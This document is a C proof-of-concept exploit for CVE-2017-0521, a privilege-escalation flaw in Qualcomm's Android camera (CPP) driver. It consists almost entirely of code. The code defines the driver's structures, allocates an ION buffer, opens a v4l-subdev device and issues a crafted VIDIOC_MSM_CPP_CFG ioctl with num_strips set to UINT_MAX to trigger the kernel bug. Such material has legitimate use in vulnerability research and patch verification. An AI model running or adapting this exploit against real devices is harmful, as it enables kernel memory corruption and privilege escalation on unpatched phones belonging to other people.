Google Android Qualcomm Camera Driver Multiple Privilege Escalation Vulnerabilities (CVE-2017-0521)

                                                #include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/videodev2.h>
#include <sys/mman.h>
#include <linux/ion.h>  
//#include <ion/ion.h>
#include <linux/types.h>

/* Should be same as VIDEO_MAX_PLANES in videodev2.h */
#define MAX_PLANES VIDEO_MAX_PLANES
/* PARTIAL_FRAME_STRIPE_COUNT must be even */
#define PARTIAL_FRAME_STRIPE_COUNT 4

#define MAX_NUM_CPP_STRIPS 8
#define MSM_CPP_MAX_NUM_PLANES 3
#define MSM_CPP_MIN_FRAME_LENGTH 13
#define MSM_CPP_MAX_FRAME_LENGTH 4096
#define MSM_CPP_MAX_FW_NAME_LEN 32
#define MAX_FREQ_TBL 10

enum msm_cpp_frame_type {
	MSM_CPP_OFFLINE_FRAME,
	MSM_CPP_REALTIME_FRAME,
};

enum msm_vpe_frame_type {
	MSM_VPE_OFFLINE_FRAME,
	MSM_VPE_REALTIME_FRAME,
};

struct msm_cpp_frame_strip_info {
	uint32_t scale_v_en;
	uint32_t scale_h_en;

	uint32_t upscale_v_en;
	uint32_t upscale_h_en;

	int32_t src_start_x;
	uint32_t src_end_x;
	int32_t src_start_y;
	uint32_t src_end_y;

	/* extra 5th and 6th layer parameters */
	int32_t extra_src_start_x;
	int32_t extra_src_end_x;
	int32_t extra_src_start_y;
	int32_t extra_src_end_y;

	int32_t extra_initial_vertical_count[2];
	int32_t extra_initial_horizontal_count[2];

	/* crop downscale 32x pixels */
	int32_t extra_left_crop;
	int32_t extra_top_crop;

	int32_t extra_pad_bottom;
	int32_t extra_pad_top;
	int32_t extra_pad_right;
	int32_t extra_pad_left;

	int32_t extra_upscale_width;
	int32_t extra_upscale_height;

	uint32_t temporal_pad_bottom;
	uint32_t temporal_pad_top;
	uint32_t temporal_pad_right;
	uint32_t temporal_pad_left;

	int32_t temporal_src_start_x;
	uint32_t temporal_src_end_x;
	int32_t temporal_src_start_y;
	uint32_t temporal_src_end_y;

	/* Padding is required for upscaler because it does not
	 * pad internally like other blocks, also needed for rotation
	 * rotation expects all the blocks in the stripe to be the same size
	 * Padding is done such that all the extra padded pixels
	 * are on the right and bottom
	 */
	uint32_t pad_bottom;
	uint32_t pad_top;
	uint32_t pad_right;
	uint32_t pad_left;

	uint32_t v_init_phase;
	uint32_t h_init_phase;
	uint32_t h_phase_step;
	uint32_t v_phase_step;

	uint32_t spatial_denoise_crop_width_first_pixel;
	uint32_t spatial_denoise_crop_width_last_pixel;
	uint32_t spatial_denoise_crop_height_first_line;
	uint32_t spatial_denoise_crop_height_last_line;

	uint32_t sharpen_crop_height_first_line;
	uint32_t sharpen_crop_height_last_line;
	uint32_t sharpen_crop_width_first_pixel;
	uint32_t sharpen_crop_width_last_pixel;

	uint32_t temporal_denoise_crop_width_first_pixel;
	uint32_t temporal_denoise_crop_width_last_pixel;
	uint32_t temporal_denoise_crop_height_first_line;
	uint32_t temporal_denoise_crop_height_last_line;

	uint32_t prescaler_spatial_denoise_crop_width_first_pixel;
	uint32_t prescaler_spatial_denoise_crop_width_last_pixel;
	uint32_t prescaler_spatial_denoise_crop_height_first_line;
	uint32_t prescaler_spatial_denoise_crop_height_last_line;

	uint32_t state_crop_width_first_pixel;
	uint32_t state_crop_width_last_pixel;
	uint32_t state_crop_height_first_line;
	uint32_t state_crop_height_last_line;

	int32_t dst_start_x;
	uint32_t dst_end_x;
	int32_t dst_start_y;
	uint32_t dst_end_y;

	int32_t temporal_dst_start_x;
	uint32_t temporal_dst_end_x;
	int32_t temporal_dst_start_y;
	uint32_t temporal_dst_end_y;

	uint32_t input_bytes_per_pixel;
	uint32_t output_bytes_per_pixel;
	uint32_t temporal_bytes_per_pixel;

	uint32_t source_address[2];
	uint32_t extra_source_address[2];
	uint32_t destination_address[2];
	/* source_address[1] is used for CbCR planar
	 * to CbCr interleaved conversion
	 */
	uint32_t temporal_source_address[2];
	/* destination_address[1] is used for CbCr interleved
	 * to CbCr planar conversion
	 */
	uint32_t temporal_destination_address[2];
	uint32_t src_stride;
	uint32_t dst_stride;
	uint32_t rotate_270;
	uint32_t horizontal_flip;
	uint32_t vertical_flip;
	uint32_t scale_output_width;
	uint32_t scale_output_height;
	uint32_t spatial_denoise_crop_en;
	uint32_t sharpen_crop_en;
	uint32_t temporal_denoise_crop_en;
	uint32_t prescaler_spatial_denoise_crop_en;
	uint32_t state_crop_en;

	int32_t we_h_init;
	int32_t we_v_init;
	int32_t we_h_step;
	int32_t we_v_step;
};

struct msm_cpp_buffer_info_t {
	int32_t fd;
	uint32_t index;
	uint32_t offset;
	uint8_t native_buff;
	uint8_t processed_divert;
	uint32_t identity;
};

struct msm_cpp_stream_buff_info_t {
	uint32_t identity;
	uint32_t num_buffs;
	struct msm_cpp_buffer_info_t *buffer_info;
};

enum msm_cpp_batch_mode_t {
	BATCH_MODE_NONE,
	BATCH_MODE_VIDEO,
	BATCH_MODE_PREVIEW
};

struct msm_cpp_batch_info_t {
	enum msm_cpp_batch_mode_t  batch_mode;
	uint32_t batch_size;
	uint32_t intra_plane_offset[MAX_PLANES];
	uint32_t pick_preview_idx;
	uint32_t cont_idx;
};

struct msm_cpp_frame_info_t {
	int32_t frame_id;
	struct timeval timestamp;
	uint32_t inst_id;
	uint32_t identity;
	uint32_t client_id;
	enum msm_cpp_frame_type frame_type;
	uint32_t num_strips;
	struct msm_cpp_frame_strip_info __user *strip_info;
	uint32_t msg_len;
	uint32_t *cpp_cmd_msg;
	int src_fd;
	int dst_fd;
	struct timeval in_time, out_time;
	void __user *cookie;
	int32_t *status;
	int32_t duplicate_output;
	uint32_t duplicate_identity;
	uint32_t feature_mask;
	uint8_t we_disable;
	struct msm_cpp_buffer_info_t input_buffer_info;
	struct msm_cpp_buffer_info_t output_buffer_info[8];
	struct msm_cpp_buffer_info_t duplicate_buffer_info;
	struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2];
	uint32_t reserved;
	uint8_t partial_frame_indicator;
	/* the followings are used only for partial_frame type
	 * and is only used for offline frame processing and
	 * only if payload big enough and need to be split into partial_frame
	 * if first_payload, kernel acquires output buffer
	 * first payload must have the last stripe
	 * buffer addresses from 0 to last_stripe_index are updated.
	 * kernel updates payload with msg_len and stripe_info
	 * kernel sends top level, plane level, then only stripes
	 * starting with first_stripe_index and
	 * ends with last_stripe_index
	 * kernel then sends trailing flag at frame done,
	 * if last payload, kernel queues the output buffer to HAL
	 */
	uint8_t first_payload;
	uint8_t last_payload;
	uint32_t first_stripe_index;
	uint32_t last_stripe_index;
	uint32_t stripe_info_offset;
	uint32_t stripe_info;
	struct msm_cpp_batch_info_t  batch_info;
};

struct msm_cpp_pop_stream_info_t {
	int32_t frame_id;
	uint32_t identity;
};

struct cpp_hw_info {
	uint32_t cpp_hw_version;
	uint32_t cpp_hw_caps;
	unsigned long freq_tbl[MAX_FREQ_TBL];
	uint32_t freq_tbl_count;
};

struct msm_vpe_frame_strip_info {
	uint32_t src_w;
	uint32_t src_h;
	uint32_t dst_w;
	uint32_t dst_h;
	uint32_t src_x;
	uint32_t src_y;
	uint32_t phase_step_x;
	uint32_t phase_step_y;
	uint32_t phase_init_x;
	uint32_t phase_init_y;
};

struct msm_vpe_buffer_info_t {
	int32_t fd;
	uint32_t index;
	uint32_t offset;
	uint8_t native_buff;
	uint8_t processed_divert;
};

struct msm_vpe_stream_buff_info_t {
	uint32_t identity;
	uint32_t num_buffs;
	struct msm_vpe_buffer_info_t *buffer_info;
};

struct msm_vpe_frame_info_t {
	int32_t frame_id;
	struct timeval timestamp;
	uint32_t inst_id;
	uint32_t identity;
	uint32_t client_id;
	enum msm_vpe_frame_type frame_type;
	struct msm_vpe_frame_strip_info strip_info;
	unsigned long src_fd;
	unsigned long dst_fd;
	struct ion_handle *src_ion_handle;
	struct ion_handle *dest_ion_handle;
	unsigned long src_phyaddr;
	unsigned long dest_phyaddr;
	unsigned long src_chroma_plane_offset;
	unsigned long dest_chroma_plane_offset;
	struct timeval in_time, out_time;
	void *cookie;

	struct msm_vpe_buffer_info_t input_buffer_info;
	struct msm_vpe_buffer_info_t output_buffer_info;
};

#define VIDIOC_MSM_CPP_CFG \
	_IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_GET_INST_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_LOAD_FIRMWARE \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_GET_HW_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_FLUSH_QUEUE \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_CFG \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_TRANSACTION_SETUP \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_GET_INST_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_QUEUE_BUF \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_SET_CLOCK \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_IOMMU_ATTACH \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_IOMMU_DETACH \
	_IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t)

#define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF\
	_IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t)


#define V4L2_EVENT_CPP_FRAME_DONE  (V4L2_EVENT_PRIVATE_START + 0)
#define V4L2_EVENT_VPE_FRAME_DONE  (V4L2_EVENT_PRIVATE_START + 1)

struct msm_camera_v4l2_ioctl_t {
	uint32_t id;
	size_t len;
	int32_t trans_code;
	void __user *ioctl_ptr;
};

#define MSM_CPP_MSG_ID_TRAILER      0xABCDEFAA

int ion_open()
{
    int fd = open("/dev/ion", O_RDONLY);
    return fd;
}

static int ion_ioctl(int fd, int req, void *arg)
{
    int ret = ioctl(fd, req, arg);
    return ret;
}

int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask,
              unsigned int flags, ion_user_handle_t *handle)
{
    int ret;
    struct ion_allocation_data data = {
        .len = len,
        .align = align,
        .heap_id_mask = heap_mask,
        .flags = flags,
	//.handle = handle,
    };
    if (handle == NULL)
        return -EINVAL;

    ret = ion_ioctl(fd, ION_IOC_ALLOC, &data);
    if (ret < 0)
        return ret;

    *handle = data.handle;
    
    return ret;
}


static void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd)
{

	union {
		struct ion_fd_data fd;
		struct ion_allocation_data allocation;
		struct ion_handle_data handle;
		struct ion_custom_data custom;
	} data;
	memset(&data, 0, sizeof(data));
	data.handle.handle = *handle;
	int ret = ioctl(fd, ION_IOC_SHARE, &data);
	printf("ret is %d with strerror %s\n", ret, strerror(errno));
	*buf_fd = data.fd.fd;
	printf("buf_fd = %d\n", *buf_fd);
}

int main(int argc, char **argv)
{
	int fd;
	int ion_fd;
	int buf_fd = -1;
	int ret;
	const size_t frame_size = 446;
	ion_user_handle_t ion_handle;
	uint32_t buf[frame_size];
	struct msm_camera_v4l2_ioctl_t request = { 0 };
	struct msm_cpp_frame_info_t frame_info;
	struct msm_cpp_buffer_info_t buff_info;
	struct msm_cpp_stream_buff_info_t stream_buff_info;

	memset(&buf, 0x00, sizeof(buf));
	memset(&frame_info, 0x01, sizeof(frame_info));
	memset(&buff_info, 0x00, sizeof(buff_info));
	memset(&stream_buff_info, 0x00, sizeof(stream_buff_info));

	ion_fd = ion_open();
	if(ion_fd < 0) {
		printf("Failed to open ion dev, reason: %s\n", strerror(errno));
		exit(-1);
	}

	ret = ion_alloc(ion_fd, 0x1000, 0, 0xfffffff,  
			ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC,  
			&ion_handle);

	if(ret) {
		printf("ion_alloc failed, reason: %s\n", strerror(errno));
		exit(-1);
	}

	ion_get_fd(ion_fd, &ion_handle, &buf_fd);

	//fd = open("/dev/v4l-subdev12", O_RDWR);
	char devs[256] = { 0 };
	//int i;
	//	for (i = 0; i < 10; i++) {
		//		v4l-subdev0
	sprintf(devs, "/dev/v4l-subdev%d", atoi(argv[1]));
	fd = open(devs, O_RDWR);

	if (fd < 0) {
		printf("Couldn't open %s, reason: %s\n", devs, strerror(errno));
		exit(1);
	}
	
	request.len = sizeof(stream_buff_info);
	request.ioctl_ptr = &stream_buff_info;
	stream_buff_info.num_buffs = 1;
	stream_buff_info.identity = 0x27BC86AA;//6666666666
	stream_buff_info.buffer_info = &buff_info;
	frame_info.identity = stream_buff_info.identity;
	buff_info.fd = buf_fd;
	buff_info.identity = 0x27BC86AA;//66666666660x1234CDEF;
	buff_info.index = 0;
	buff_info.native_buff = 1;

	ret = ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request);
	printf("ret done with %d\n", ret);

	ret = ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request);
	printf("ret done with %d\n", ret);
	
	buf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER;	
	frame_info.msg_len = frame_size;
	frame_info.cpp_cmd_msg = buf;
	frame_info.num_strips = UINT_MAX;
	frame_info.we_disable = 1;
	frame_info.duplicate_output = 0;
	frame_info.feature_mask = 0;
	frame_info.input_buffer_info = buff_info;

	request.len = sizeof(frame_info);
	request.ioctl_ptr = &frame_info;
	ret = ioctl(fd, VIDIOC_MSM_CPP_CFG, &request);
	//	}	
	close(fd);
}